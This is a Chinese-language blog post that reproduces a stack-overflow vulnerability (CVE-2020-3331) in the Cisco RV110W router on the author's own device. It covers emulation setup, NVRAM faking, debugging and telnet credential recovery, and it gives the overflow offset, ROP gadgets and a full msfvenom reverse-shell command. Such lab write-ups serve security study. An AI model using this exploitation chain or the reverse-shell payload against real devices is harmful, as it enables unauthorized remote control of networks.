telnet弱口令+sscanf栈溢出漏洞
准备工作
漏洞信息
有师傅对 RV 110w 出现过的漏洞都进行了复现:wzt:Cisco RV110W 数个漏洞 。
整理如下,除此之外还能在 CISCO官网找到更多。
CVE编号 | 影响型号 | 漏洞简述 | 修复版本 |
---|---|---|---|
CVE-2019-1663 | RV110w, RV130w, RV215w | 管理接口远程命令执行漏洞:httpd服务对用户提交的数据验证不严格,strcpy栈溢出,可实现任意代码执行。 | (110w)1.2.2.8/(130w)1.0.3.51 |
CVE-2020-3144 | RV110w, RV130, RV130w, RV215w | 身份认证绕过漏洞,对session的管理存在问题,可构造特殊格式的 HTTP 请求触发漏洞,获取管理员权限。 | (110w)1.2.2.8 |
CVE-2020-3145/3146 | RV110w, RV130, RV130w, RV215w | 管理接口远程命令执行漏洞:对用户提交的数据验证不严格,sprintf栈溢出,可实现任意代码执行。(后台漏洞,价值不大) | (110w)1.2.2.8 |
CVE-2020-3150 | RV110w, RV215w | http请求授权不当漏洞:有效用户打开过设备文件后,攻击者可访问web管理界面的特定URI二次访问。 | (110w)1.2.2.8 |
CVE-2020-3323 | RV110w, RV130, RV130w, RV215w | 管理接口远程命令执行漏洞:httpd服务对用户提交的数据验证不严格,strlen空指针引用、sscanf栈溢出,可实现任意代码执行。 | (110w)1.2.2.8 |
CVE-2020-3330 | RV110w | telnet服务远程登陆漏洞:默认账户静态密码 | (110w)1.2.2.8 |
CVE-2020-3331 | RV110w, RV215w | sscanf函数栈溢出漏洞 | (110w)1.2.2.8 |
CVE-2021-34730 | RV110w, RV130, RV130w, RV215w | 管理接口远程命令执行漏洞:upnp服务对用户提交的数据验证不严格,strcpy栈溢出,可实现任意代码执行。 | (110w)1.2.2.8 |
- 栈溢出(bin):2019-1663、2020-3145/3146、2020-3323、2020-3331、2021-34730
- 认证绕过(web):2020-3144、2020-3150
- 弱密码:2020-3330
大半是栈溢出漏洞,而且都是存在httpd服务中。从影响设备上来看,RV 110w 都有这些漏洞,RV 130w 和RV 215w 基本上都有。对于 RV 110w 来说,应该大部分漏洞都在最终版 1.2.2.8 中修复了,不过旧的版本都能下载。如果在比赛时拿到了一个旧版本的 bin 文件,如何确定它存在的是哪些漏洞呢,或者说如何快速确定到有漏洞的文件、函数,轩哥这篇博客的思路写得很清晰了: 思科路由器 RV110W CVE-2020-3331 漏洞复现 。
网上找到的复现博客都是 RV 110w 或 RV 130w 。那 RV 120w 呢?很可惜它是一款 EOL(End of Life)的产品。目前 RV 110w 和 RV 130w 只是停止销售,还没 EOL,官方的终止支持日期是 2024年。关于它们的区别我们可以直接看 data sheet:
- Data Sheet: Cisco RV 110W Wireless-N VPN Firewall
- Data Sheet: Cisco RV 120W Wireless-N VPN Firewall
- Data Sheet: Cisco RV 130W Wireless-N VPN Firewall
我个人觉得区别不大,简单来说就是:
- 130w 支持千兆,110w 和 120w 都是百兆网口。
- 120w 更适合多个 VPN 的场景,130w 更适合企业或偏远地区(稳定性更强)。
- 130w 增加了些安全设置,提供的服务相对来说更多些。
RV120w 的停售和终止支持的时间都比 110w、130w 的早四年,也许这就是它 CVE 少的原因之一?通过 CVE 和 CISCO 官网搜集到的信息如下:
CVE编号 | 影响型号 | 漏洞简述 | 修复版本 |
---|---|---|---|
CVE-2014-2177 | RV120w, RV220w, RV180/180w | 网络诊断管理界面中存在命令注入漏洞 | (120w)1.0.5.9 |
CVE-2014-2178 | RV120w, RV220w, RV180/180w | Web界面中的 CSRF 漏洞,远程攻击者可劫持身份验证管理员 | (120w)1.0.5.9 |
CVE-2014-2179 | RV120w, RV220w, RV180/180w | 文件任意上传漏洞 | (120w)1.0.5.9 |
全是 Web 高危漏洞,都在最终版本中修复了。看来 120w 漏洞的复现不太适合我,后面有时间再补上吧emm,不过 120w 的固件也许可以拿来与 110w 和 130w 的进行对比。130w的漏洞复现会在下一篇博客中补上。
qemu 模拟
参考博客🧠:
- 从模糊测试到漏洞利用–WRT54G无线路由器漏洞挖掘分析实战
- lxonz神:思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建
- 基于QEMU的NVRAM仿真
- Linksys WRT54G 路由器溢出漏洞分析—— 运行环境修复
qemu-system
要注意 110w 是 MIPS架构,130w 是 ARM 架构。对应的 images 都可以从 debian 上下载:
- https://people.debian.org/~aurel32/qemu/mips/
- https://people.debian.org/~aurel32/qemu/mipsel/
- https://people.debian.org/~aurel32/qemu/armhf/
大小端、32/64位 对应用的镜像都不同,具体看readme。比如 32 位的 MIPS 大端架构,用的是下面这个组合:
en,如果点击文件后没下载,换个浏览器试试🤦♀️。这些文件最后修改的时间都是2013、2014年,估计这网站也比较老,也许跟版本新一些的浏览器有点不兼容。
放到同一个文件夹中,再写一个 run.sh:(这是在 hws 上课时旁边的一个大师傅写的,当时看不懂,但用着不会报错,直接用就好了,万分感谢🙏)
1 | sudo brctl addbr virbr0 |
这里涉及到些通信知识,学完计网的我才理解好emm。前面四条指令是添加虚拟网卡,目的是使 debian 虚拟机和宿主机通信,所以虚拟机启动以后配置的 ip 和我们添加的虚拟网卡必须在同一个网段。(不通信怎么上传文件和调试啊,必须配好这些 ip )如果添加完后,又开了一次虚拟机,换张 tap 网卡就可以了。
剩下的一条是 qemu system 的启动命令,参数大概是指定了镜像文件、内核启动的附加参数、创建什么设备等,具体可以查手册。
启动后可以看到 debian 中的 eth0 网卡是没有配置 ip 的:
配置前先确保 eth0 允许启动:
(补—— lo 是 Loop 的意思,本地回环网卡,也就是 0.0.0.0 或 127.0.0.1,跟自己通信;eth 是 Ethernet的意思,以太网卡,所以跟外部通信我们需要看 eth0 网卡。)
1 | root@debian-mips:~# cat /etc/network/interfaces |
接下来配同一个网段的 ip 就ok了。可以用 ssh 或者 ping 来测试是否能通信。
1 | root@debian-mips:~# ifconfig eth0 192.168.122.3 up |
一般应该都是在本地上传固件的文件系统到指定路径,再在 debian 中更换目录后运行启动脚本。
1 | scp -r ./squashfs-root root@192.168.122.3:/root/ |
那么为什么需要用全系统模拟模式来运行,而不用用户模式呢?
从 QEMU手册 我们可以找到答案:用户模式对动态链接的可执行文件的运行不太支持,有时候如果有对应的动态库,可以用 -L 设定。而全系统模式虽然支持,但正因为它模拟的是完整的系统,还包括处理器、外设等,它的运行速度会比用户模式慢。
通过漏洞信息搜集我们知道,这个 CVE 漏洞在 httpd 服务中。但是在实际的场景下,我们需要通过检索固件中的关键信息、扫描端口进行分析、流量抓取、调试等手段才能定位到存在漏洞的地方,我把这一部分留到后面的真机实验再做。因为 RV 110w 没买到真机,这里用 qemu-system 进行模拟。
注意镜像要换成 mipsel。这从解压出来的文件系统中随便拉个可执行文件出来 file 一下就知道了。
1 | sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic |
不过同一个环境下,我的 qemu-system-mips 能起,qemu-system-mipsel 倒是卡住了emm。找到这篇《 Qemu-system-mips stuck after “console tty0 enabled” 》的 answer 后,将 console 参数改成了 ttyS0,也就是将内核进一步的输出也发送到串行端口上,这也是镜像网站上所建议的做法。之后打印出 Unable to mount root fs on unknown-block...
的错误信息。排除了是内存不够的问题后,猜测是内核崩溃问题。更新自己的内核版本,再启动就正常了… 现在用的是(ubuntu 18.04):
1 | ch331n@ubuntu:~/cs/iot/debian/mipsel$ uname -r |
mount
很重要的挂载步骤。因为 qemu-system 启动的天生缺少 /proc,如果不挂载上去, ps 查看进程是空的,找不到目标程序的 pid,也不能用 gdbserver attach了。emm,其实如果目标程序直接运行就可以的话,应该可以用 gdberver 一条命令启动调试的。但是这里先需要 LD_PRELOAD 一个 so 文件(后面会提到),用 attach 的方式调试好一些。
1 | mount -o bind /dev ./dev/ |
nvram
先运行看看目标文件,这里以 httpd 为例:
1 | root@debian-mipsel:~/cve-2020-3331# chroot squashfs-root sh |
en,为什么它会访问 NVRAM 呢🤔 是我孤陋寡闻了,它就是非易失性存取存储器,也是我们常说的断电后能保留数据信息的存储器。找到这篇《NVRAM是什么?为什么对黑苹果重要?》,看完大概了解它的重要性了。btw,关于易失、非易失的原理区别可以自行了解下:不同类别存储器的基本原理、RRAM 等。简单来说就是看它容不容易漏电,RAM的电容很小、容易漏、可以通过上电刷新;NVM 就是在电子器件层面通过加电压等方法,使它不易漏电、能保存信息。
所以这些 Web 服务程序在启动的时候,会先访问 nvram 中存储的数据,还原之前做过的配置。可是为什么会找不到呢? 显然目前我们用 qemu 模拟的环境下,没有它需要的 nvram。也不能直接拷个 nvram 进去吧,数据错了可能会影响到后续程序的利用。简单粗暴些,不让它从 /dev/nvram 找数据。不过这应该只是用 qemu 模拟嵌入式设备的时候才需要这么做,目的是让目标程序运行。
在 ida 中搜索关键字,定位到 nvram_get 函数,再看它的上一步调用。除了图中的 config_key 外,还有ip、mac等数据都需要从 nvram 中读取。看来也不能完全不让它读数据,否则可能会影响程序运行。
既然如此,这就需要伪造部分重要的数据了。留意到 nvram_get 函数,是从共享库中导入的。我们可以用自己编写的 so 文件,强行 LD_PRELOAD ,拦截 nvram_get 的调用。找到一个可用于劫持 libnvram 库中函数调用的工具:
1 | git clone https://github.com/zcutlip/nvram-faker.git |
我们需要修改其下的 nvram-faker.c 为我们需要的劫持的函数内容,在 nvram-faker.h 加上对应的函数声明(如果 c 文件中没导入,也可以不写),再用 buildmipsel.sh 交叉编译出新的 so 文件就可以了。
1 | s.ch331n@ubuntu:~/tools/nvram-faker$ ls |
具体 nvram_get 函数要劫持成什么呢?从 init 的地方定位到以下函数,可以看到程序调用 nvram_get 函数,获取了 lan_ifname 的值 ,从字面上来看应该是局域网的网卡。这个 sub_40C400 函数还调用了大量的 nvram_set 函数,猜测是在配置一些环境变量。
我们这里把 lan_ifname 写成回环 ip 就可以了。或者还可以把 lan_proto 写成 static,防止程序启动后默认使用 DHCP 自动分配 ip。不过没有改成静态分配也能运行,还没找到为什么,盲猜是因为这里的 proto 默认为 static emm不知道对不对。
1 |
|
mipsel-linux-gcc
如果之前没有搭建 MIPSEL 的交叉编译环境,这里会编译失败,因为它调用的是 mipsel-linux-gcc。buildmipsel.sh 大概是找了遍跟 mipsel-linux-gcc 相关的环境变量然后调用,路径不对的时候会找不到,可以在里面加上自己的路径,或者直接改成 mipsel-linux-gcc 编译的命令。感觉都挺麻烦,咱不用它。
用 mipsel-linux-gnu-gcc
也不行。因为我们的编译目标是一个动态链接的文件,其背后的动态库需要是一致的。因此得用 buildroot 的方法自己编译一个,具体原因和方法可以看:Clang裁缝店:IoT安全研究视角的交叉编译。不过我们目前只需要 gcc,等到 buildroot 编译完 gcc 直接中断编译,拿 gcc 来用也行,路径在:./buildroot/output/host/bin/
。
buildroot 时需要选择跟本机对应的 linux 版本。我原本用的 buildroot 版本是今年8月的最新版,没有 4.15.x
的选项emm,手动选择的选项好像被禁掉了。于是换成了18年5月的版本:https://buildroot.org/downloads/ 。(建议尽量选发布时间跟自己的 ubuntu 发布时间相近的)。这下终于可以了:
不过用 buildmipsel.sh 编译好像还是有点问题。既然它调用的是 mipsel-linux-gcc,我们直接自己手动编译就好了(用它覆盖原本的 sh 文件也行):
1 | mipsel-linux-gcc -fPIC -shared nvram-faker.c -o libnvram.so |
编译完后上传到文件系统中,再 LD_PRELOAD 运行就成功了:
1 | root@debian-mipsel:~/cve-2020-3331/squashfs-root# chroot . sh |
虽然但是,我随机 nmap 扫描了一下,又开始找不到 nvram了。应该是 nmap 的过程中,宿主机向虚拟机的每个端口都发送了数据包,启动了 httpd 中一些需要读取或设置 nvram 中数据的函数,这些函数都是没被我们劫持的,就报错了:
看来虚拟环境还是比较适合直接调试 emmm,扫描的工作还是留到真机实验再做吧。我们的目的是调试、打通它的 CVE 漏洞,不必要的报错能避则避(bushi
gdbserver
说到调试,无论真机还是虚拟环境都需要的,应该就是 gdbserver 了。这里我们用 海特实验室整理的各平台对应的 gdbserver 。跟前面的 so 文件一样,把它上传上去再运行:
1 | ./gdbserver-7.7.1-mipsel-mips32-v1 :1234 /usr/sbin/httpd |
这样宿主机的 gdb-multiarch 再remote 过去就可以调试了。上面就是前面说的,直接运行程序的调试方式,在这里不适用。我们 LD_PRELOAD完、程序启动了之后,通过 ps 找到程序 pid,再通过 attach 的方式启动调试:
1 | ./gdbserver-7.7.1-mipsel-mips32-v1 :1235 --attach 2338 |
可以看到这时 gdb-multiarch remote后,寄存器中是有值的了:
真机设备
连接
路由器都会有 WAN 口和 LAN 口,连接方式在 快速入门指南 上有说。但是有认证的校园网插入 WAN 口后应该用不了,我试过将插了校园网网线的ip、subnet mask等数据复制到路由器的配置上,同时设置静态ip,也不行(也许可以44破解方式)。不过漏洞点在后台管理界面,用 LAN 口把路由器和电脑连起来就可以了,上不了网不影响我们复现。
一般刚开机或刚连上的时候,路由器还在进行初始化设置。等到出现以下网卡信息,说明已经配置好了,这时访问 192.168.1.1 就能访问到:
因为路由器漏洞大部分都是基于 web 服务,虚拟机跟路由器处于同一个局域网中比较方便测试,因此虚拟机需要采用桥接的方式。最好在关机状态下,先设置 VMnet0 网卡的桥接模式,(选自自动或目标网卡),再在编辑网络适配器的地方选择“桥接模式”。
如果每次设置完 VMnet0,再查看的时候发现设置的是仅主机模式,原因是跟主机网卡有关的设置都需要管理员权限。在VMware属性那里,设置每次启动时都用管理员权限运行就行了。
文件上传
有时候 scp 好使,但它是基于 ssh 服务的,如果真机没有开启就用不了。可以用 web 服务:
1 | python -m http.server 或 python -m SimpleHTTPServer |
前面是 python3.9 版本的,后面是 python2.7 版本的。
在真机 shell 上下载时注意,要下载到可写的 tmp 目录下,其他目录一般不可写。而且 tmp 目录下新增的文件断电后不保存,每次重启完都得重新上传。
1 | cd /tmp |
gdb调试
前面提到有两种方式。因为真机中的程序大都是运行中的状态,所以这里用 attach 合适些。这里以运行在 443 端口上的 httpd 程序为例,现在我们需要获取它的进程号。
用 ps 查看进程的时候发现,httpd 相关的有两个 pid,区别是一个有 -S
,另一个没有:
1 | ps | grep httpd |
后续用 netstat 确定带参数的那个才是运行在端口上的程序。
但一开始使用 netstat 的时候是显示不了 pid 的,我们只能看到在 443 端口上的程序正在监听:
1 | netstat -pantu |
用上传的 busybox 软件去运行,就有 -p 这个参数。应该是路由器上的 busybox 版本比较老,netstat 不支持查看进程 id。
1 | ./busybox-mipsel netstat -h |
CVE-2020-3331
sscanf 函数中存在栈溢出漏洞,影响的设备是 RV110W,这里复现用的是真机 。
远程登陆
受该漏洞影响的固件版本是 1.2.2.5 ,如果真机设备的版本不对,务必进行固件升级。后续调试需要用 telnet 服务,但是我发现真机原本的 1.2.1.7(大概是这个,记不清了)版本,没有开启 telnet 服务。而且手动设置规则也不能成功开启 23 端口,也许只能通过板子上的串口通信才能拿到 shell 了。
设置好之后,对路由器后台 ip 进行端口扫描,这时候发现 telnet 服务已经开启了:
1 | ch331n@ubuntu:~$ nmap 192.168.1.1 |
账号密码一般是厂家设置的,如果厂家把账密写在了固件的某个文件中,通过逆向还是能找着的。跟这个 CVE 号相邻的还有个 CVE-2020-3330,受影响的是同一个版本的固件,漏洞正是 telnet 弱口令。因此我们借助它找到账密。相关文章:360:一个字节的差错导致Cisco防火墙路由器远程代码执行 。
从文章 《强网杯2020决赛 ciscoRV110W web服务漏洞复现》发现了个更简单的方式。因为账密的写法是”admin:$(num)$(hash)…”,所以可以通过字符串检索的方式把对应文件中的那一行字符串输出:
1 | find . | grep -ri "admin:\\\$" |
再hash解密就可以了。
漏洞分析
mips-32-little; No RELRO; No canary found; NX diasbled; No PIE
漏洞点在 httpd 文件的 guest_logout_cgi 函数中。关注到下面的这个 sscanf 函数,没有规定数据的长度,存在栈溢出漏洞。而且关于这个函数的漏洞,似乎之前比较常见?前几天绿城杯的 iot 题,出的也是这个漏洞,那道题是 Tenda 路由器 18 年的 CVE。
从 sscanf 的参数类型来看, %[^;];%*[^=]=%[^\n]
这一串是 format 。该函数将第一个参数 str 按照 format 的格式过滤、转换,结果存储到后面的变量参数中。而这段 format 的语法大概就是:
- % 表示选择,选中的子串会被存储到对应的变量中;**%*** 表示不选择,即过滤、忽略。
- 一般都是
(start char)+(%/%*)+(end char)
,end char 比 start char 多了一个 [ ] 以作区分。
因此,图中的 format 可以理解为:
- v29 取
;
前的全部内容。 - 从
;
到第一个=
的内容不取。 - v28 取
=
到'\n'
的全部内容。
也就是如果 v11为 aaa;bbb=ccc\n
,则 v29 取的是分号前的 aaa
,v28取的是等号后的 ccc
。
从后面的 fprintf 函数我们可以知道,v29、v28原本对应的是什么变量:
也就是说,正常的 v11应该是一个有url、session_id 的字符串。这也是这路由器路径的约定规则,比如下面的这个就是我登陆完后进入后台 Getting Started 页面时的路径,也符合 sscanf 的过滤规则。
1 | https://192.168.1.1/default.asp;session_id=03831c9ff52690156d79daab415c7e81 |
接下来找触发 sscanf 漏洞的条件。首先是其上的 v11,它是从 “submit_button” 获得的,要求包含 “status_guestnet.asp”,也就是 url 里有这个asp。(补:asp 是动态服务器页面,跟 html 文件类似,它的脚本能直接在服务器上执行,有时一些文件下载的程序也是用 asp 写的)。
1 | v11 = (const char *)get_cgi("submit_button"); |
接着是其上的 v5、v10 的验证,要求它们分别是 MAC 和 IPv4 格式。我们也可以直接用 bp 抓包,复制自己的mac和 ip 地址来用。
1 | v5 = (const char *)get_cgi("cmac"); |
但是这个栈溢出漏洞是在 get 或是 post 方法还不清楚。有一种方法是看代码量,好像一般两种方法的代码量有差异。直接进行发包测试比较直观。
1 | import requests |
get的时候程序正常。post 的时候已经被覆盖了,程序也直接崩掉,不得不关机重启。
最后用 cyclic 测出偏移是85。
libc 基址
使用 mipsrop.stackfiner()
能在 httpd 中找到 411 条可用的 gadget。注意到这些地址都是 0x00 开头的,由于程序没有开启PIE,这些地址也是程序加载完的地址。但 sscanf 遇 ‘\x00’ 字符会截断,因此这些 gadget 都不能用。
我们希望找到一段地址已知且没有 0x00 的gadget。除了 httpd 程序,也许还有其他的没有开启 PIE 的程序能用。cat proc 看了一下,这些程序的加载基址都是 0x00400000,后面很多地址都一样,但共享库的基址不同。
但是奇怪就奇怪在,每次启动时同一个程序的 libc 基址都没变… 轩哥在博客中给出了一些猜测的原因和验证。
此时路由器内核的地址随机化保护等级是1:
1 | cat /proc/sys/kernel/randomize_va_space |
关于 linux 内核中对 aslr 的规定:
- 0:关闭地址随机化。不支持随机化的架构以及使用 “norandmaps” 参数启动的内核才会设置。
- 1:mmap base、stack、VDSO 页地址随机化。也就是共享库、开启 PIE 的文件会加载到随机位置。这也是
CONFIG_COMPAT_BRK
启用时的默认配置。 - 2:在 1 的基础上启用堆地址随机化(
CONFIG_COMPAT_BRK
禁用时的默认配置)。若有古老或损坏的二进制文件,才会启用CONFIG_COMPAT_BRK
,排除堆随机化。
现在的情况是,虽然 aslr 等级是 1,但很明显共享库文件的地址没有随机化,就算是将 aslr 等级修改为 2 也是一样。
留意到 CONFIG_COMPAT_BRK
这个宏,启用时默认配置为1,禁用时配置为2。从 Linux Kernel Driver DataBase: CONFIG_COMPAT_BRK 中找到,这个定义在 init/Kconfig
中的宏,只在 Linux kernels: 2.6.25–2.6.39, 3.0–3.19, 4.0–4.20, 5.0–5.14, 5.15-rc+HEAD
中存在。根据当前路由器的内核版本,我们可以肯定它没有这个宏,因此也无法开启堆随机:
1 | uname -a |
但是 aslr 最开始是在 2005 年的 2.6.12 内核版本中引入的。2.6.22 的版本虽然没有 CONFIG_COMPAT_BRK
,但理论上 1 等级的 aslr 应该是能满足的。也许是版本比较早, aslr 的实现还不是很全面,导致 libc 没能实现地址随机化。搜索 2.6.22 版本找到这篇解释:《How Effective is ASLR on Linux Systems? | Security et alii》。
ASLR 的有效性受可用的熵量的限制,比如 32 位系统提供给ALSR的熵比 64 位的更少。跟早期的 WINDOWS 第三方软件中不参与 ASLR 的 DLL 文件类似,Linux 2.6.22 之前的内核中,VDSO(linux-vdso.so)未能实现随机化,始终位于固定位置。
因此尽管 libc.so.0 开启了 PIE,地址还是固定的。
漏洞利用
从刚刚 cat /proc
的结果来看,httpd 程序加载的libc 地址是 0x2af98000,可以用。我们选择偏移小一点的这个gadget。按 g 跳到对应的函数后,找到 var_20 的值是 -0x20。所以这里是把 $sp+0x18 的地址存到 $a0 中,最后 jmp 到 $s0。
1 | Python>mipsrop.stackfinder() |
由于 httpd 什么保护都没开启,直接返回到栈上执行shellcode 就可以了。我们把 shellcode 写在+0x18的位置,既然存到了 $a0 中,那就找个 jmp 到 $a0 的gadget。因为上一段 gadget 最后会 jalr $s0
,覆盖的时候把 $s0 的位置覆盖成下面这段 gadget就可以了,具体偏移也是用 cyclic 测。
1 | | Address | Action | Control Jump | |
shellcode的话,第一次使用 msfvenom 生成。感觉确实比 shell-storm 的好用,需要修改的地方可以用命令指定,不用手动改。
官网下载后,解压就可以用了:
1 | sudo dpkg -i metasploit-framework_6.1.9+20211003102528_1rapid7-1_amd64.deb |
使用的时候选择的是反弹shell,指定ip、port、arch、platform 以及文件类型、输出文件名。
1 | msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.100 LPORT=34567 --arch mipsle --platform linux -f py -o shellcode.py |
en一般来说,使用桥接网络的话虚拟机的地址也是 192.168.1.x。但我没配置好,使用桥接后网卡虽然显示是以太网卡,但没有自动分配地址,手动分配也连不上网… 使用NAT模式也是可以的,只要他们能互相 ping… 很可惜路由器 ping 不通虚拟机。观察发现从 虚拟机 telnet 路由器,也是从本机 ip 192.168.1.100 出去的。因此这里反弹 shell 的 ip 选的是本机的 ip,只能在本机监听了。
1 | import requests |
拿到 shell 的时候是在 www 目录下。
这道题目在比赛的时候,除了要求拿到 shell,还需要劫持 DNS,使通过这个路由器访问网站的时候,访问的是我们写的网站。猜测是在本机上运行一个 web 应用,再修改 /etc/hosts
文件如下。具体还得再问问 web 师傅😟
1 | 192.168.1.100 xxx.xxx.xxx |